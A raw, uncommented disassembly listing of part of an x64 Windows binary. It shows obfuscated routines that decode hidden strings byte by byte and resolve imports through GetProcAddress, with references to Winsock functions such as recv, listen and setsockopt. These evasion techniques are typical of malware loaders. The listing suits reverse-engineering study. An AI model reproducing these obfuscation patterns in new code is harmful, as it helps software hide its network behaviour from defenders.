mov byte [rbp + 0x6e], 0x87
mov byte [rbp + 0x6f], 0x47
xor eax, eax
mov qword [rbp + 0x70], rax
mov dword [rbp + 0x78], eax
mov word [rbp + 0x7c], ax
movabs r15, 0xf110aa19bf998f0d
movabs r12, 0x7995fae7bc660775
movabs r13, 0xd331fe4d3eccad27
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x1e
jae 0x1400640a9
movzx r9d, byte [rbp + r11 + 0x60]
mov esi, r9d
cmp rbx, r11
ja 0x1400640a0
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400635a2
lea rcx, [r11 + r15]
mov rax, rcx
and rax, rsi
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rsi
sub dil, 0x5b
jmp 0x1400635cf
je 0x140064034
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064006
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140063fea
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140063fc8
movzx r10d, r11b
cmp r8, r11
ja 0x140064097
lea rax, [r8 + 3]
cmp rbx, rax
jae 0x1400635fd
lea ecx, [r10 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
jmp 0x140063631
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140063f84
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140063f61
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140063f41
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140063f15
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140063ba0
nop
lea rcx, [r8 + 0x28]
cmp rbx, rcx
je 0x140063b84
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140063b5b
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140063b35
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140063b19
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140063af6
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140063ad6
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140063aba
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140063a9a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140063a6b
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140063640
mov rbx, rcx
lea r8, [rcx + 0x41]
lea rcx, [r8 + 0xa]
cmp rbx, rcx
jb 0x14006407a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006405d
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140063822
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140063803
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400637e4
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140063a1a
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x1400639d0
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140063990
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14006396b
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140063640
mov rbx, rcx
lea r8, [rcx + 0x1000]
lea rcx, [r8 + 6]
cmp rbx, rcx
ja 0x14006393f
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006391f
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140063903
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x1400638e6
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400638c3
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x1400638a7
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140063884
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14006385e
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140063842
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x140063640
mov rbx, rcx
lea r8, [rcx + 0x200]
jmp 0x140063640
lea edx, [r10 + 0xf]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x69
add dil, dl
jmp 0x140063631
lea edx, [r10 - 0xb]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x4d
add dil, dl
jmp 0x1400635d3
sub r10b, 0x25
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
add dil, 3
add dil, r10b
jmp 0x140063576
lea edx, [r10 - 0x78]
movzx eax, r9b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140063f9b
add r10b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
inc r8
dec r11
inc r11
jmp 0x140063563
add r10b, 0x54
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4c
dec r11
inc r11
jmp 0x140063563
lea edx, [r10 + 0x3a]
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140063e6c
add r10b, 0x20
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006401b
add r10b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
jmp 0x14006401b
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x74
jmp 0x140063eac
sub r10b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140063ed8
sub r10b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
add r10b, 0x77
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x41
mov byte [rbp + r11 + 0x60], dil
inc r11
jmp 0x140063563
lea edx, [r10 + 0x5d]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x75
add dil, dl
cmp r8, 9
jb 0x140063983
lea edx, [r10 + 0x2e]
movzx eax, r9b
and al, dl
mov ecx, 0x1f
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140063f9e
lea edx, [r10 + 0x43]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x2b
add dil, dl
cmp rbx, 0x20
jae 0x140063e56
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140063d7c
lea edx, [r10 + 0x2a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x26
jmp 0x1400639a7
lea edx, [r10 + 0x29]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1f
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x140063e98
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140063ca3
lea edx, [r10 + 0x19]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
add dil, 0x51
jmp 0x1400639e7
add r10b, 0x66
movzx eax, r9b
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
add r10b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x14
add dil, r10b
jmp 0x140063ed8
lea edx, [r10 + 0x32]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5e
jmp 0x140063eac
add r10b, 0x18
movzx eax, r9b
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14006401b
sub r10b, 2
movzx eax, r9b
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006401b
lea edx, [r10 - 0x1c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x3c
jmp 0x140063e6c
sub r10b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140063563
sub r10b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140063563
lea edx, [r10 - 0x6a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1a
jmp 0x140063f9b
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x140063bc5
lea edx, [r10 + 0xd]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5b
jmp 0x140063a31
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063bfd
add r10b, 0x22
movzx eax, r9b
and al, r10b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063c22
lea edx, [r10 + 0x56]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5a
jmp 0x140063eac
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063c4e
sub r10b, 0x76
movzx eax, r9b
and al, r10b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
add rbx, r8
jmp 0x14006401b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063c7a
sub r10b, 0x42
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x32
dec r11
inc r11
jmp 0x140063563
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140063a34
lea edx, [r10 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140063f9b
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063cc8
lea edx, [r10 + 0x33]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x65
jmp 0x140063f9b
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063cf4
add r10b, 0x67
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x2f
dec r11
inc r11
jmp 0x140063563
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063d1d
sub r10b, 0x65
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3d
add rbx, r8
jmp 0x14006401b
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140063d43
sub r10b, 0x4b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0xd
jmp 0x14006401b
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400639ea
add r10b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140063db4
add r10b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140063dd9
lea edx, [r10 + 0x78]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x48
jmp 0x140063eac
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140063dfb
lea edx, [r10 - 0x3a]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x6a
jmp 0x140063e6c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140063e2d
sub r10b, 6
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140063563
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400639aa
lea edx, [r10 + 0x14]
movzx eax, r9b
and al, dl
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x140063f9b
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
add r10b, 0x55
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x53
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x60], cl
add rbx, r8
jmp 0x14006401b
lea edx, [r10 + 0x62]
movzx eax, r9b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add r10b, 0x6f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 9
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r11 + 0x60], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x64
add cl, r9b
mov byte [rbp + r11 + 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
sub r10b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x23
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
sub r10b, 0x6d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 5
add rbx, r8
jmp 0x14006401b
add r10b, 0x5f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x67
dec r11
inc r11
jmp 0x140063563
lea edx, [r10 + 0x2b]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x2d
add dil, dl
add r10b, 0x3b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x63
add r10b, r9b
mov byte [rbp + r11 + 0x60], r10b
inc r8
dec r11
inc r11
jmp 0x140063563
lea ecx, [r11 - 0x3d]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x55
dec r11
inc r11
jmp 0x140063563
lea ecx, [r11 - 0x71]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
add dil, 0x17
add rbx, r8
jmp 0x14006401b
lea rax, [r11 + r12]
and sil, al
add sil, sil
sub r9b, sil
lea edi, [rax + r9]
sub dil, 0x33
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140063563
lea rax, [r11 + r13]
and sil, al
add sil, sil
sub r9b, sil
lea edi, [rax + r9]
sub dil, 0x11
movzx eax, byte [rbp + r11 + 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x140063563
sub r10b, 0x3f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x47
jmp 0x140063560
sub r10b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x6f
jmp 0x140063547
lea rdx, [rbp + 0x16c1d1c]
jmp 0x1400640ad
lea rdx, [rbp + 0x105ac29]
jmp 0x1400640ad
lea rdx, [rbp + 0x60]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
mov byte [rbp + 0x80], recv
mov byte [rbp + 0x81], 0x3e
mov byte [rbp + 0x82], 0x2c
mov byte [rbp + 0x83], 0xa
mov byte [rbp + 0x84], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0x85], recv
mov byte [rbp + 0x86], 0
mov byte [rbp + 0x87], select
mov byte [rbp + 0x88], reloc.WS2_32.dll_socket
mov byte [rbp + 0x89], 0x2d
mov byte [rbp + 0x8a], 9
mov byte [rbp + 0x8b], reloc.WS2_32.dll_listen
mov byte [rbp + 0x8c], 3
mov byte [rbp + 0x8d], 0xd6
mov byte [rbp + 0x8e], __WSAFDIsSet
xor eax, eax
mov dword [rbp + 0x8f], eax
mov byte [rbp + 0x93], al
movabs rsi, 0xdc0f6419b1a9701b
movabs r12, 0x4c4cf480784f3087
movabs r15, 0x942e2c4d14fc5051
movzx edi, byte [rbp + 0x410]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x14
jae 0x140064d90
movzx r10d, byte [rbp + r11 + 0x80]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140064d87
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400641bc
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 0x43
jmp 0x1400641f6
je 0x140064d1b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064cc2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140064c64
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140064c42
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140064bf7
movzx r9d, r11b
nop word [rax + rax]
cmp r8, r11
ja 0x140064d7e
lea rcx, [r8 + 4]
cmp rbx, rcx
jae 0x14006422a
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x140064270
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064bde
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140064bc1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140064ba4
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140064b5a
cmp rbx, rcx
je 0x140064b2b
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400647da
nop dword [rax]
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x1400647bf
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140064796
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140064773
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140064754
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140064737
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140064717
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400646fc
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400646dc
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400646ad
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140064280
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140064d61
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140064d44
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006446d
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140064452
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140064437
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140064664
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14006461b
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x1400645df
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x1400645b7
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x140064280
lea rbx, [r8 + 3]
lea r8, [rbx + 3]
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140064588
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140064568
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006454d
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006452d
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140064510
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400644f1
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400644ce
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400644a5
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006448a
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140064280
lea rbx, [r8 + 0x64]
lea r8, [rbx + 0x64]
jmp 0x140064280
lea ecx, [r9 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140064270
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x140064200
add r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x55
jmp 0x140064190
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140064c15
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140064173
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
dec r11
inc r11
jmp 0x140064173
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064c82
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x140064ca6
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064ca9
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x140064b74
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064cd4
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
sub r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x79
mov byte [rbp + r11 + 0x80], dil
inc r11
jmp 0x140064173
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
cmp r8, 0x2a
jb 0x1400645cf
lea edx, [r9 - 0x3e]
movzx eax, r10b
and al, dl
mov ecx, 0x19
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140064c15
lea ecx, [r9 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6d
cmp rbx, 0x40
jae 0x140064af4
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x1400649ee
lea edx, [r9 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400645f5
lea ecx, [r9 - 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x19
lea rax, [r8 + rbx]
cmp rax, 1
je 0x140064b0f
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x1400648e9
lea ecx, [r9 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
jmp 0x140064631
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064cd4
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140064b74
sub r9b, 0x58
movzx eax, r9b
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064ca9
add r9b, 0x72
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1e
jmp 0x140064ca6
lea edx, [r9 + 0x3c]
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064c82
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
dec r11
inc r11
jmp 0x140064173
sub r9b, 0x30
movzx eax, r9b
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140064173
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140064c15
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x1400647fe
lea ecx, [r9 + 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x43
jmp 0x14006467a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064836
add r9b, 0x6e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 2
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006485e
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140064b74
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064887
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140064ca6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400648b6
sub r9b, 0x4e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140064173
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006467a
sub r9b, 0x18
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x58
inc r8
dec r11
inc r11
jmp 0x140064173
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006490d
lea ecx, [r9 - 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7d
jmp 0x140064c15
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006493c
sub r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 3
inc r8
dec r11
inc r11
jmp 0x140064173
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140064968
add r9b, 0x11
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x77
dec r11
inc r11
jmp 0x140064173
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006498e
add r9b, 0x7d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6b
jmp 0x140064ca6
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400649b2
lea ecx, [r9 - 0x17]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x5f
jmp 0x140064b74
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140064631
add r9b, 0x55
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x53
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140064a26
sub r9b, 0x24
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140064173
